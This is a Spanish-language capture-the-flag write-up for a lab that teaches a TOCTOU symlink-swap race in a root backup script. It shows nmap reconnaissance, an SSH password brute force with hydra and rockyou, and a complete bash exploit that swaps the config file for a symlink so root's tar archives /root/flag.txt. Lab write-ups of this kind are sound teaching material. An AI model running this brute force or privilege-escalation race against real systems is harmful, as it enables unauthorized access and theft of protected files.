GhostLabs Logo

GhostLabs

red team operations :: offensive security
TOCTOU — Write-up
⚠ SPOILER — Lee esto solo después de intentar resolver el lab.
Dificultad
Media-alta (4 pts)
Servicio
SSH — puerto 2222
Credenciales
princesa / qwerty
Vulnerabilidad
TOCTOU — symlink swap
Herramientas
nmap, hydra, ssh, ln, tar
Flag
GhostLabs{t0ctou_r4ce_w1nd0w}

¿Qué es TOCTOU?

TOCTOU (Time Of Check To Time Of Use) es una clase de race condition donde un programa:

  1. Comprueba una condición sobre un recurso (fichero, directorio, socket…)
  2. Actúa basando en el resultado de esa comprobación

El problema: entre la comprobación (1) y la acción (2) hay un hueco temporal donde otro proceso puede modificar el recurso. El programa actúa sobre una realidad que ya no existe.

Ejemplos reales: CVE-2019-8561 (instalador macOS), múltiples CVEs en sudo, systemd y gestores de paquetes siguen este patrón.

En este lab: el script de backup comprueba que el config es un fichero regular, duerme 5 segundos (simula I/O lento), y luego lo usa. En esa ventana reemplazamos el fichero por un symlink a una lista maliciosa con /root/flag.txt.

Flujo de ataque

•nmap → SSH en puerto 2222
↓
•banner SSH → usuario: princesa
↓
•hydra + rockyou → qwerty
↓
•ssh → explorar: README, documentos/.backup_include, /backups/, /var/log/backup.log
↓
•cat /usr/local/bin/backup_service.sh → entender TOCTOU: check / sleep 5 / use
↓
•crear evil_list + exploit.sh → monitorear log → detectar [1/3] → swap symlink
↓
•tar -xzf /backups/backup.tar.gz -C /tmp/extract → cat /tmp/extract/root/flag.txt

Paso 1 — Reconocimiento

1
nmap — descubrir SSH en puerto 2222
nmap -sV -p 2222 <LAB_IP>
PORT     STATE SERVICE VERSION
2222/tcp open  ssh     OpenSSH 7.9p1 Debian (protocol 2.0)

Paso 2 — Banner SSH

2
banner pre-auth — descubrir el usuario

El servidor SSH expone un banner antes de pedir contraseña, visible con cualquier usuario:

ssh guest@<LAB_IP> -p 2222
GhostLabs Backup Service v2.3
Automatic backup daemon running

Contact: princesa (backup operator)

guest@<LAB_IP>'s password: [Ctrl+C]

Usuario descubierto: princesa.

Paso 3 — Fuerza bruta SSH

3
hydra — descubrir contraseña
hydra -l princesa -P /usr/share/wordlists/rockyou.txt ssh://<LAB_IP>:2222 -t 4
[2222][ssh] host: <LAB_IP>   login: princesa   password: qwerty
Si ves WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED:

ssh-keygen -f '/home/kali/.ssh/known_hosts' -R '[<LAB_IP>]:2222'

Paso 4 — Acceso SSH

4
ssh — conectar como princesa
ssh princesa@<LAB_IP> -p 2222
GhostLabs Backup Service v2.3
Backup daemon: ACTIVE

Paso 5 — Exploración inicial

5
ls, cat — entender el entorno
ls -la
cat README.txt
Sistema de backup automatico activo.
El servicio realiza backups de ~/documentos/ cada ~25 segundos.
El archivo .backup_include controla que ficheros se incluyen.
Consulta /var/log/backup.log para ver el estado del servicio.
ls -la documentos/
-rw-r--r-- 1 princesa princesa  49 Apr 3 2026 .backup_include
-rw-r--r-- 1 princesa princesa  40 Apr 3 2026 notas.txt
-rw-r--r-- 1 princesa princesa  55 Apr 3 2026 readme.txt
cat documentos/.backup_include
/home/princesa/documentos/notas.txt
/home/princesa/documentos/readme.txt

El fichero .backup_include es una lista de rutas que el servicio de backup incluye en el archivo. Es propiedad de princesa — puede modificarlo, borrarlo y reemplazarlo.

Paso 6 — Inspeccionar el backup existente

6
tar -tzf — ver qué contiene el backup actual
ls -la /backups/
tar -tzf /backups/backup.tar.gz
home/princesa/documentos/notas.txt
home/princesa/documentos/readme.txt

El backup contiene solo los documentos de princesa. La flag (/root/flag.txt) no está incluida. El objetivo es conseguir que el próximo ciclo la incluya.

Paso 7 — Observar el servicio en tiempo real

7
tail -f — monitorizar el log del backup

Abre una terminal y observa el log en tiempo real:

tail -f /var/log/backup.log
[10:42:00] --- Nuevo ciclo de backup ---
[10:42:00] [1/3] Config encontrado. Leyendo lista de archivos...
                ^ aquí empieza la ventana de 5 segundos
[10:42:05] [2/3] Creando archivo de backup...
[10:42:05] [2/3] Backup guardado: /backups/backup.tar.gz
[10:42:05] [3/3] Ciclo completo. Proximo backup en 25s
[10:42:30] --- Nuevo ciclo de backup ---
El ciclo dura ~30 segundos. La ventana TOCTOU está entre [1/3] y [2/3] — exactamente 5 segundos para actuar.

Paso 8 — Leer el script vulnerable

8
cat backup_service.sh — entender la vulnerabilidad
cat /usr/local/bin/backup_service.sh

La parte crítica del script:

# PASO 1 — TIME OF CHECK
if [ -f "$CONFIG" ] && [ ! -L "$CONFIG" ]; then
    log "[1/3] Config encontrado..."

    sleep 5   ← VENTANA DE VULNERABILIDAD

# PASO 2 — TIME OF USE
    tar --absolute-names -czf "$BACKUP" -T "$CONFIG" 2>/dev/null
fi
MomentoQué ocurre
[ -f ] && [ ! -L ]Check: verifica que sea fichero regular y NO symlink
sleep 5Ventana: el script duerme sin volver a verificar
tar -T "$CONFIG"Use: lee el config tal como está AHORA (puede haber cambiado)

La vulnerabilidad: si durante el sleep 5 reemplazamos .backup_include (fichero regular) por un symlink a una lista maliciosa, el tar del paso 2 leerá el destino del symlink e incluirá /root/flag.txt en el backup.

[ -f symlink ] devuelve true si el symlink apunta a un fichero regular — pero tar -T symlink sigue el enlace y lee el destino. La comprobación y el uso interpretan la misma ruta de forma diferente: eso es TOCTOU.

Paso 9 — Preparar el ataque

9
Crear la lista maliciosa y verificar el estado

En la misma sesión SSH (o en una segunda), prepara los ficheros del ataque:

# Crear la lista maliciosa: un fichero que apunte a /root/flag.txt
echo "/root/flag.txt" > /tmp/evil_list.txt
cat /tmp/evil_list.txt
/root/flag.txt
# Verificar que .backup_include es un fichero regular (no symlink)
ls -la documentos/.backup_include
-rw-r--r-- 1 princesa princesa 49 Apr  3 2026 .backup_include
Si en un intento anterior quedó como symlink (lrwxrwxrwx), restáuralo antes:

rm -f documentos/.backup_include && echo '/home/princesa/documentos/notas.txt' > documentos/.backup_include

Paso 10 — Crear el script de explotación

10
exploit_toctou.sh — monitorizar + swap + extraer

Crea el script en /tmp/exploit_toctou.sh:

cat > /tmp/exploit_toctou.sh << 'EOF'
#!/bin/bash
CONFIG="/home/princesa/documentos/.backup_include"
BACKUP="/backups/backup.tar.gz"
LOGFILE="/var/log/backup.log"
EXTRACT="/tmp/toctou_extract"

echo "[*] Iniciando ataque TOCTOU..."

# A: lista maliciosa
echo "/root/flag.txt" > /tmp/evil_list.txt

# B: asegurar que config es fichero regular para que pase el check
if [ -L "$CONFIG" ]; then
    rm -f "$CONFIG"
    echo "/home/princesa/documentos/notas.txt" > "$CONFIG"
    echo "[*] Config restaurado"
fi

echo "[*] Monitoreando log..."
LAST_SEEN=""
while true; do
    LAST=$(tail -1 "$LOGFILE" 2>/dev/null)
    if [[ "$LAST" != "$LAST_SEEN" ]]; then
        LAST_SEEN="$LAST"
        echo "  LOG >> $LAST"
        if echo "$LAST" | grep -q "\[1/3\]"; then
            echo ""
            echo "[+] VENTANA DETECTADA — ejecutando race..."
            rm -f "$CONFIG"
            ln -s /tmp/evil_list.txt "$CONFIG"
            echo "[+] Symlink: $CONFIG -> /tmp/evil_list.txt"
            break
        fi
    fi
    sleep 0.05
done

# Esperar que tar complete (sleep 5 del script + margen)
echo "[*] Esperando que tar complete..."
sleep 8

# Extraer y leer
rm -rf "$EXTRACT" && mkdir -p "$EXTRACT"
tar -xzf "$BACKUP" -C "$EXTRACT" 2>/dev/null

if [ -f "$EXTRACT/root/flag.txt" ]; then
    echo ""
    echo "[+] ===== FLAG ENCONTRADA ====="
    cat "$EXTRACT/root/flag.txt"
    echo "[+] ============================="
else
    echo "[-] Race perdida. Restaura config y reintenta:"
    echo "    rm -f $CONFIG"
    echo "    echo '/home/princesa/documentos/notas.txt' > $CONFIG"
fi
EOF
chmod +x /tmp/exploit_toctou.sh

Paso 11 — Ejecutar el ataque

11
Lanzar el exploit y ganar la race condition

Terminal 1 (opcional, para ver el log en paralelo):

tail -f /var/log/backup.log

Terminal 2 (o la misma sesión):

bash /tmp/exploit_toctou.sh

Output esperado si la race se gana:

[*] Iniciando ataque TOCTOU...
[*] Monitoreando log...
  LOG >> [10:45:30] --- Nuevo ciclo de backup ---
  LOG >> [10:45:30] [1/3] Config encontrado. Leyendo lista de archivos...

[+] VENTANA DETECTADA — ejecutando race...
[+] Symlink: /home/princesa/documentos/.backup_include -> /tmp/evil_list.txt
[*] Esperando que tar complete...
[*] Extrayendo backup...

[+] ===== FLAG ENCONTRADA =====
GhostLabs{t0ctou_r4ce_w1nd0w}
[+] =============================
Si la race se pierde, el exploit indica qué hacer. Restaura el config y ejecuta de nuevo en el siguiente ciclo (~25s).

Paso 12 — Obtener la flag

12
Verificación manual del backup

Puedes verificar manualmente que el backup contiene la flag:

tar -tzf /backups/backup.tar.gz
root/flag.txt
mkdir -p /tmp/manual_extract
tar -xzf /backups/backup.tar.gz -C /tmp/manual_extract
cat /tmp/manual_extract/root/flag.txt
🏁 Flag
GhostLabs{t0ctou_r4ce_w1nd0w}

¿Por qué la ruta es root/flag.txt y no /root/flag.txt?

tar elimina el / inicial al extraer por seguridad (evita sobreescribir ficheros del sistema). Con -C /tmp/extract, extrae a /tmp/extract/root/flag.txt.

Por qué funciona la cadena completa

PasoDescripciónDetalle técnico
Check pasaConfig es fichero regular[ -f ] && [ ! -L ] → true
Sleep 5sVentana de vulnerabilidadEl script duerme sin re-verificar
SwapFichero → symlinkrm -f config && ln -s evil_list config
Usetar lee el symlinktar -T config sigue el enlace → lee /root/flag.txt
Root lee flagtar corre como rootPuede leer /root/flag.txt (permisos 600)
LecturaBackup con flagtar -xzf ... -C /tmp → /tmp/root/flag.txt

Recursos